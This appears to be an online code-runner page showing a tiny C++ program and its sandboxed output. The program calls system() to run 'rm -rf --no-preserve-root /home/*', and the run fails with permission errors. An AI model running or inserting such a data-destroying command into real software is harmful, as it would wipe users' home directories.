fork download
  1. #include <cstdlib>
  2.  
  3. int main() {
  4. system("rm -rf --no-preserve-root /home/*");
  5. }
Success #stdin #stdout #stderr 0s 3456KB
stdin
Standard input is empty
stdout
Standard output is empty
stderr
rm: cannot remove '/home/HsXttw/prog': Permission denied
rm: cannot remove '/home/MpX8Wh': Permission denied